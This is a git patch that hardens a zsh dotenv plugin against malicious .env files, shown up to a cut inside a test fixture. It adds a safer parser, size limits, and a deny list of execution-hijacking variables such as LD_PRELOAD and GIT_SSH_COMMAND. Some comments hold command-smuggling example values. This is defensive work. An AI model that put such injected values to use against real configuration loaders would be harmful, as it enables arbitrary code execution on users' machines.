parsing of .env files (#13778) * fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala --- plugins/dotenv/.zunit.yml | 9 + plugins/dotenv/README.md | 47 ++- plugins/dotenv/dotenv.plugin.zsh | 289 ++++++++++++- plugins/dotenv/tests/_output/.gitignore | 2 + plugins/dotenv/tests/_support/bootstrap | 139 ++++++ .../tests/_support/fixtures/dotenvjs.env | 88 ++++ .../tests/_support/fixtures/features.env | 23 + plugins/dotenv/tests/basic-parsing.zunit | 398 ++++++++++++++++++ plugins/dotenv/tests/compatibility.zunit | 27 ++ plugins/dotenv/tests/security.zunit | 209 +++++++++ 10 files changed, 1219 insertions(+), 12 deletions(-) create mode 100644 plugins/dotenv/.zunit.yml create mode 100644 plugins/dotenv/tests/_output/.gitignore create mode 100644 plugins/dotenv/tests/_support/bootstrap create mode 100644 plugins/dotenv/tests/_support/fixtures/dotenvjs.env create mode 100644 plugins/dotenv/tests/_support/fixtures/features.env create mode 100644 plugins/dotenv/tests/basic-parsing.zunit create mode 100644 plugins/dotenv/tests/compatibility.zunit create mode 100644 plugins/dotenv/tests/security.zunit diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml new file mode 100644 index 000000000..e5ea0c3a6 --- /dev/null +++ b/plugins/dotenv/.zunit.yml @@ -0,0 +1,9 @@ +tap: false +directories: + tests: tests + output: tests/_output + support: tests/_support +time_limit: 0 +fail_fast: false +allow_risky: false +verbose: false diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md index 5dbcf0fb1..8b3f9ecce 100644 --- a/plugins/dotenv/README.md +++ b/plugins/dotenv/README.md @@ -34,6 +34,25 @@ PORT=3001 You can even mix both formats, although it's probably a bad idea. +Multi-line values are supported using quoted strings: + +```sh +PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEA... +-----END RSA PRIVATE KEY-----" +``` + +Variables defined earlier in the file can be referenced by later entries: + +```sh +BASE_URL=https://example.com +API_URL=$BASE_URL/api +ASSETS_URL=${BASE_URL}/assets +``` + +Note: only variables defined within the same `.env` file are expanded this way — +shell environment variables that already exist are **not** substituted. + ## Settings ### ZSH_DOTENV_FILE @@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t No additional configuration is required — the plugin automatically detects and sources named pipes. +## Tests + +The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run: + +```sh +cd plugins/dotenv && zunit +``` + +> [NOTE!] +> zunit also requires installing [Revolver](https://github.com/molovo/revolver). + ## Version Control **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. -## Disclaimer +## Security -This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job. +The plugin applies several best-effort safeguards when loading a `.env` file: + +- **Size limit** — files larger than 10 MiB are rejected to prevent DoS. +- **Syntax check** — the file is validated with `zsh -fn` before any variables are set. +- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped. +- **Forbidden variables** — the following variables are never overwritten, regardless of what the + `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`, + `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`, + `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`, + `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special + parameters. + +These measures are **best-effort** — you are still responsible for the content of your `.env` +file. Do not use this plugin as a security boundary. If you need more advanced and feature-rich ENV management, check out these awesome projects: diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh index c44c369b5..72839a501 100644 --- a/plugins/dotenv/dotenv.plugin.zsh +++ b/plugins/dotenv/dotenv.plugin.zsh @@ -7,9 +7,271 @@ : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} - ## Functions +_parse_dotenv_content() { + setopt localoptions extendedglob + + local content="$1" + local mode="${2:-export}" + + # Validate mode argument + case "$mode" in + export|test) ;; + *) + echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2 + return 1 + ;; + esac + + local node line key value + local raw_value expanded prefix remainder var_name escaped_dollar_placeholder + local sq dq uq safe + local -A parsed_vars + local -a nodes lines + + # Parse into command lines separated by `;`, with built-in support for multi-line commands. + # (Z:C:) ignores comments and preserves quotes and escapes. + # + # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines + # by joining all elements between ';'. + # + # Example input: + # VAR1=value1; VAR2=value2 + # VAR3="multi + # line value" + # Result: + # typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' ) + # typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' ) + # + nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command + for node in "${nodes[@]}"; do + if [[ "$node" == ";" ]]; then + if [[ -n "$line" ]]; then + lines+=("$line") + line="" + fi + continue + fi + + [[ -z "$line" ]] || line+=" " + line+="$node" + done + + local -a forbidden_vars=( + NODE_OPTIONS + BASH_ENV + ENV + ZDOTDIR + ZSH + LD_PRELOAD + LD_LIBRARY_PATH + DYLD_INSERT_LIBRARIES + GIT_CONFIG_GLOBAL + GIT_DIR + GIT_EDITOR + GIT_EXTERNAL_DIFF + GIT_EXEC_PATH + GIT_PAGER + GIT_SSH + GIT_SSH_COMMAND + GIT_SSL_NO_VERIFY + GIT_TEMPLATE_DIR + VISUAL + PAGER + EDITOR + ${(k)parameters[(R)*export*special]} + ) + local forbidden="${(j:|:)forbidden_vars}" + + + # Each line contains a single command line, we need to parse valid KEY=VALUE pairs + for line in "${lines[@]}"; do + # Strip leading 'export ' keyword + line="${line#export[ ]}" + + # Match KEY=VALUE pattern + # "A name may be any sequence of alphanumeric characters and underscores" + # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters + if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then + continue + fi + + key="${match[1]}" + value="${match[2]}" + raw_value="$value" + + # Filter out variables to be ignored for security reasons (best effort) + if [[ "$key" == (${~forbidden}) ]]; then + continue + fi + + # Use tokenization to split value with native shell parsing (handles quotes and escapes) + # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run` + local -a words + words=("${(@z)value}") + if [[ ${#words} -ne 1 ]]; then + continue + fi + + ## START: FILTER COMMAND EXPANSION + # + # Filter lines with command expansion not in safe contexts + # + # READER'S NOTE: this is actually a "best effort" check (works in tests), but + # only to prevent setting variables with command substitution. The actual effect + # of setting them would not be a vulnerability, because we use `typeset name=value` + # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`. + # + # What does this mean? If we were to remove this filter block, this is what would happen: + # + # Input: DANGEROUS=$(echo this is a command) + # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution) + # + # Check for potential command substitution outside of safe contexts + # - single-quoted strings: command substitution is literal there + sq="'[^']#'" + # - double-quoted strings, but NOT unescaped ` or $( + dq='"([^"$`\\]|\\.|\\$[^(\`])#"' + # - unquoted text, but NOT unescaped ` or $( + uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#' + safe="(${sq}|${dq}|${uq})#" + # Remove the longest safe prefix; what remains starts at first unsafe construct + remainder="${value##${~safe}}" + + if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then + continue + fi + ## END: FILTER COMMAND EXPANSION + + # Single-quoted values are fully literal and must not participate in expansion. + if [[ "$raw_value" == \'*\' ]]; then + value="${(Q)value}" + parsed_vars[$key]="$value" + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + continue + fi + + # Preserve escaped dollars so they remain literal after unquoting. + escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001' + value="${value//\\\$/$escaped_dollar_placeholder}" + + # Unquote the value to handle special characters and multiline values. + value="${(Q)value}" + + # Expand previously parsed in-file variables without partial name matches. + expanded="" + prefix="" + remainder="$value" + var_name="" + while [[ "$remainder" == *'$'* ]]; do + prefix="${remainder%%\$*}" + expanded+="$prefix" + remainder="${remainder#$prefix}" + + if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + else + expanded+='$' + remainder="${remainder#?}" + continue + fi + + if [[ -v "parsed_vars[$var_name]" ]]; then + expanded+="${parsed_vars[$var_name]}" + fi + done + value="${expanded}${remainder}" + value="${value//$escaped_dollar_placeholder/\$}" + + # Store in parsed vars (for in-file expansion) + parsed_vars[$key]="$value" + + # Normal mode: export the variable + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + done + + # In test mode, set DOTENV_TEST_VARS + typeset -gA DOTENV_TEST_VARS + DOTENV_TEST_VARS=("${(@kv)parsed_vars}") +} + +parse_dotenv() { + local filename="$1" + local mode="${2:-export}" + local content + + # Fail if file is too large to avoid DoS + zmodload -F zsh/stat b:zstat + local -i file_size max_size=10485760 # 10MiB + if ! file_size=$(zstat +size "$filename" 2>/dev/null); then + echo "dotenv: unable to determine size of file '$filename'" >&2 + return 1 + fi + + if (( file_size > max_size )); then + echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2 + return 1 + fi + + content="$(<"$filename")" || return 1 + _parse_dotenv_content "$content" "$mode" +} + +_dotenv_read_limited() { + local filename="$1" + local chunk content="" + local -i max_size=10485760 total=0 read_size=0 fd read_status + + zmodload zsh/system || return 1 + exec {fd}<"$filename" || return 1 + + while true; do + sysread -i $fd -s 65536 -c read_size chunk + read_status=$? + + if (( read_status == 5 )); then + break + elif (( read_status != 0 )); then + exec {fd}<&- + return 1 + fi + + (( total += read_size )) + if (( total > max_size )); then + exec {fd}<&- + echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2 + return 1 + fi + + content+="$chunk" + done + + exec {fd}<&- + REPLY="$content" +} + +_dotenv_check_syntax() { + local filename="$1" + + if (( $# == 2 )); then + printf '%s' "$2" | zsh -fn /dev/stdin + else + zsh -fn -- "$filename" + fi || { + echo "dotenv: error when sourcing '$filename' file" >&2 + return 1 + } +} + source_env() { if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then return @@ -37,28 +299,35 @@ source_env() { [[ $column -eq 1 ]] || echo # print same-line prompt and output newline character if necessary - echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " + echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " read -k 1 confirmation [[ "$confirmation" = $'\n' ]] || echo # check input case "$confirmation" in - [nN]) return ;; + [yY]) ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; - *) ;; # interpret anything else as a yes + *) return ;; # interpret anything else as a no esac fi fi - # test .env syntax - zsh -fn $ZSH_DOTENV_FILE || { - echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 - return 1 - } + local content + if [[ -p "$ZSH_DOTENV_FILE" ]]; then + _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 + content="$REPLY" + _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 + + setopt localoptions allexport + _parse_dotenv_content "$content" + return + fi + + _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1 setopt localoptions allexport - source $ZSH_DOTENV_FILE + parse_dotenv "$ZSH_DOTENV_FILE" } autoload -U add-zsh-hook diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/plugins/dotenv/tests/_output/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap new file mode 100644 index 000000000..f45bec020 --- /dev/null +++ b/plugins/dotenv/tests/_support/bootstrap @@ -0,0 +1,139 @@ +#!/usr/bin/env zsh +# Bootstrap script for dotenv plugin tests +# This is sourced before any tests run and provides shared utilities + +# Load the dotenv plugin +source "$PWD/dotenv.plugin.zsh" +ZSH_DOTENV_PROMPT=false +ZSH_DOTENV_FILE=/dev/null + +# Helper: Parse dotenv file in test mode +_parse_dotenv_test() { + parse_dotenv "$1" "test" +} + +# Helper: Parse dotenv file in export mode +_parse_dotenv_export() { + unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true + + parse_dotenv "$1" "test" + + for key in "${(k)DOTENV_TEST_VARS}"; do + typeset -x "$key"="${DOTENV_TEST_VARS[$key]}" + done +} + +# Helper: Run parse_dotenv suppressing stderr +_parse_dotenv_quiet() { + parse_dotenv "$@" 2>/dev/null +} + +# Helper: Create a temporary test fixture +_create_temp_fixture() { + local fixture + fixture==(:) # Create temp file + echo "$fixture" +} + +_write_temp_fixture() { + local fixture="$1" + > "$fixture" +} + + +# Helper: Source file with allexport and capture variables +# Usage: _source_with_allexport "file.env" +# Result is in DOTENV_SOURCE_VARS associative array +_source_with_allexport() { + local filename="$1" + + # Source with allexport in a subshell with no exported variables + + # The return and capture of the exported variables is a bit of a pain: + # 1. We first store the key=value pairs in $vars associative array, which is + # defined before allexport is set to avoid appearing in results. + # 2. Afterwards, we join all keys and values of the associative with null delimiters. With + # "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:) + # we join them with nulls. + # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain + # empty values, and then uses it to populate an associative array. + # Don't try to understand this or change it unless you have to. Debugging is a nightmare. + typeset -gA DOTENV_SOURCE_VARS + DOTENV_SOURCE_VARS=("${(@0)"$( + local -A vars + + # Clear all exports first + zmodload zsh/parameter + unset ${(k)parameters[(R)*export*]} 2>/dev/null || true + + # Source file with allexport + setopt localoptions allexport + source "$filename" + + # Set all exported variables into an associative array + for key in ${(k)parameters[(R)*export*]}; do + vars[$key]="${(P)key}" + done + + print -rn -- "${(@kvpj:\0:)vars}" + )"}") +} + + +## ZUnit assertion helpers + +_zunit_assert_function_exists() { + [[ "${+functions[$1]}" -eq 1 ]] && return 0 + echo "Function '$1' does not exist" + exit 1 +} + +_zunit_assert_var_same_as() { + local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset} + if [[ $tvalue != $tcomp ]]; then + echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)" + exit 78 + fi + + # Special case for associative arrays + if [[ ${(Pt)1} == "association" ]]; then + local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}") + local -aU keys=("${(@k)value}" "${(@k)comparison}") + + local ret=0 key + for key in "${keys[@]}"; do + # Key match checks + if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then + echo "'$1[$key]' is set (value='${value[$key]}')" + ret=1 + elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then + echo "'$1[$key]' is not set (expected='${comparison[$key]}')" + ret=1 + # Value match checks + elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then + echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'" + ret=1 + fi + done + + exit $ret + fi + + # Generic case + local value="${(P)1}" comparison="${(P)2}" + [[ "$value" != "$comparison" ]] || exit 0 + echo "'$1' value mismatch: '$value' is not the same as '$comparison'" + exit 1 +} + +_zunit_assert_var_is_set() { + [[ -v "$1" ]] && return 0 + echo "Variable '$1' is not set" + exit 1 +} + +_zunit_assert_var_is_not_set() { + [[ ! -v "$1" ]] && return 0 + echo "Variable '$1' is set" + exit 1 +} diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env new file mode 100644 index 000000000..16a56267c --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env @@ -0,0 +1,88 @@ +# Consolidated dotenv test fixture from dotenv test suite +# Source: https://github.com/motdotla/dotenv/tree/master/tests +# +# Copyright (c) 2015, Scott Motte +# All rights reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: + +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. + +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. + +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line + +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" + +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' + +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" + +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\nnewlines + +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" + +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work + +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld + +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env new file mode 100644 index 000000000..e5862bc8e --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/features.env @@ -0,0 +1,23 @@ +# Export syntax +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= + +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" + +# Testing multiline quoting edge cases +MULTILINE_UNQUOTED=This\ is\ a\ \ +multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline +MULTILINE_DOUBLE_QUOTED="This is a \ +multiline value that should be treated as a single line with an actual newline character" +MULTILINE_SINGLE_QUOTED='This is a \ +multiline value that should be treated as a single line with a literal backslash and newline' +MULTILINE_MIXED_QUOTES="This is a \ +multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside" + +# Test for regressions +DATABASE_URL="postgres://user:pass@host/db;sslmode=require" +VAR_WITH_SEMICOLONS="value ; with ; semicolons" diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit new file mode 100644 index 000000000..611f6a70a --- /dev/null +++ b/plugins/dotenv/tests/basic-parsing.zunit @@ -0,0 +1,398 @@ +#!/usr/bin/env zunit + + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'dotenv plugin loads successfully' { + assert "parse_dotenv" function_exists + assert "source_env" function_exists +} + +@test 'parse returns error for unsupported mode' { + run _parse_dotenv_quiet "/dev/null" "export" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "test" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "invalid_mode" + assert $state equals 1 +} + +@test 'parse returns error for oversized file (> 10MiB)' { + command truncate -s 11M "$fixture" 2>/dev/null + + run _parse_dotenv_quiet "$fixture" "test" + assert $state equals 1 +} + +@test 'parse returns error for non-existent file' { + run _parse_dotenv_quiet "/nonexistent/path/.env" "test" + assert $state equals 1 +} + +@test 'source_env loads named pipes without blocking' { + local tmpdir fifo output result + local child_pid writer_pid killer_pid child_rc + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" + fifo="$tmpdir/.env" + output="$tmpdir/output" + command mkfifo "$fifo" + + ( + print -r -- 'TOKEN=secret' > "$fifo" + ) & + writer_pid=$! + + ( + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env + print -r -- "${TOKEN-}" > "$output" + ) & + child_pid=$! + + ( + sleep 2 + kill -0 $child_pid 2>/dev/null || exit 0 + kill $child_pid 2>/dev/null || exit 0 + ) & + killer_pid=$! + + wait $child_pid + child_rc=$? + + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + + [[ -f "$output" ]] && result="$(<"$output")" + command rm -rf "$tmpdir" + + assert $child_rc equals 0 + assert "$result" equals 'secret' +} + +@test 'source_env rejects oversized named pipes' { + run zsh -fc ' + source ./dotenv.plugin.zsh + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1 + fifo="$tmpdir/.env" + command mkfifo "$fifo" || exit 1 + + cleanup() { + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + command rm -rf "$tmpdir" + } + trap cleanup EXIT + + ( + { + print -rn -- "BIG=" + command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a + } > "$fifo" + ) & + writer_pid=$! + + ( + sleep 2 + kill -0 $$ 2>/dev/null || exit 0 + kill $$ 2>/dev/null || exit 0 + ) & + killer_pid=$! + + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env >/dev/null 2>&1 + ' + + assert $state equals 1 +} + +@test 'parse basic variable assignment' { + > "$fixture" <<'EOF' +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line +EOF + + expected_vars=( + BASIC 'basic' + AFTER_LINE 'after_line' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse empty values' { + > "$fixture" <<'EOF' +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" +EOF + + expected_vars=( + EMPTY '' + EMPTY_SINGLE_QUOTES '' + EMPTY_DOUBLE_QUOTES '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse single quoted values' { + > "$fixture" <<'EOF' +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' +EOF + + expected_vars=( + SINGLE_QUOTES 'single_quotes' + SINGLE_QUOTES_SPACED ' single quotes ' + DONT_EXPAND_SQUOTED 'dontexpand\nnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse double quoted values' { + > "$fixture" <<'EOF' +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" +EOF + + expected_vars=( + DOUBLE_QUOTES 'double_quotes' + DOUBLE_QUOTES_SPACED ' double quotes ' + EXPAND_NEWLINES "expand\nnew\nlines" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse unquoted values' { + > "$fixture" <<'EOF' +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines +EOF + + + expected_vars=( + DONT_EXPAND_UNQUOTED 'dontexpandnnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse quotes inside quotes' { + > "$fixture" <<'EOF' +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" +EOF + + expected_vars=( + DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes' + SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse inline comments' { + > "$fixture" <<'EOF' +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work +EOF + + expected_vars=( + INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes' + INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes' + INLINE_COMMENTS_UNQUOTED 'value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse ignores non-assignment commands with assignment-looking arguments' { + > "$fixture" <<'EOF' +print SHOULD_NOT_PARSE=value +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse special characters' { + > "$fixture" <<'EOF' +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld +EOF + + expected_vars=( + EQUAL_SIGNS 'equals==' + RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}' + USEREMAIL 'therealnerdybeast@example.tld' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse multiline values with mixed quotes' { + > "$fixture" <<'EOF' +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ 